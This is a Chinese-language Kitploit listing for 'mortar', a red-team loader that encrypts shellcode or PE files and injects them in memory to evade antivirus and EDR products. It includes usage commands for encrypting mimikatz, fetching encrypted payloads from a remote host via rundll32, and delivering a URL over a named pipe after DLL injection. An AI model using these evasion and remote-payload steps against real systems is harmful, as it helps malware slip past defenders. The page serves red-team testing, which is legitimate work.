Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
mortar — 绕过和转移安全产品(AV/EDR/XDR)检测与防御的规避技术 | Kitploit
工具/GitHubGitHub/0xsp-srd/mortar
漏洞利用框架Payload生成IDS/IPS规避Shellcode红队
GitHub0xsp-srd/mortar

mortar

绕过和转移安全产品(AV/EDR/XDR)检测与防御的规避技术

查看仓库
1.5k2382年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

Mortar Loader

红队规避技术,用于挫败和转移安全产品的检测与防御。Mortar Loader 在内存流中执行 PE/Shellcode 的加密和解密,并利用多种注入技术执行它。
Mortar 能够绕过现代防病毒产品和高级 XDR 解决方案,并已测试并确认绕过以下产品:

  • Kaspersky ✔️
  • ESET AV / EDR ✔️
  • Malewarebytes ✔️
  • Mcafee ✔️
  • Windows defender ✔️
  • Cylance ✔️
  • TrendMicro ✔️
  • Bitdefender ✔️
  • Norton Symantec ✔️
  • Sophos EDR ✔️

更新功能

新版本(v3)已发布,具备以下功能:

  • 基于远程分段加密二进制或 shellcode 的无文件执行。
  • Early Bird APC 注入。
  • 进程伪装。
  • 支持命名管道。
  • 字符串和函数调用混淆。
  • Mortar 隐蔽重载子程序。
  • 延迟执行技术。

更多技术描述,请参考以下博客文章:https://kpmg.com/nl/en/home/insights/2023/12/mortar-loader.html

使用方法

加密器

加密器对 C ShellCode 和 PE 二进制文件进行加密,并将输出写入 .enc 文件。
您可以使用任何您喜欢的 payload(MSF/cobalt/Havoc 等),只要它是 x64 架构并且不是 RAW 格式。

root@kitploit:~
root@kali>./encryptor -f mimikatz.exe -o bin.enc 
root@kali>./encryptor -f shellcode.c -o bin.enc 

Mortar Loader 库

新版本结合了多种技术与远程 payload 获取,建议参考以下博客文章以获取更多信息。

快速说明:

root@kitploit:~
# PE Forking

1. host your encrypted binary on remote host. 
2. encode the final URL with base64. 
3. rundll32.exe agressor.dll,viewlogs [BASE64 URL].
4. covert reload subroutine technique is enabled. 

目前支持 Early Bird 注入与命名管道结合,以接收用于最终执行的变量。

root@kitploit:~
1. inject Mortar DLL into remote process( DLL injection, Hijacking, sideloading).
2. connect into the named pipe to supply your URL 
   echo {BASE64 URL} > \\.\pipe\moj_ML_ntsvcs 
3. payload will be executed once valid value has been recieved. 

编译

该项目使用 FPC(Free Pascal)编码,编译过程简单,下载并安装 Lazarus IDE(https://www.lazarus-ide.org/index.php?page=downloads)即可。

对于加密器,您可以从发布部分下载,或者使用 Lazarus IDE 轻松编译。

root@kitploit:~
#Debian & Ubuntu 

apt install fpc 
apt install lazarus-ide 

出版物

  • The v1 release : https://0xsp.com/security%20research%20&%20development%20(SRD)/defeat-the-castle-bypass-av-advanced-xdr-solutions
  • Mortar Loader v2 features : https://0xsp.com/offensive/mortar-loader-v2/
  • CrestCon Asia 2021 talk : https://www.youtube.com/watch?v=H7EMBz7GLMk

赞助?

Mortar 或任何共享项目的开发都是我个人时间的成果。

  • 您持续欣赏我的工作。
  • 您将获得预发布的早期访问权限。
  • 提问将会得到回答。
下载工具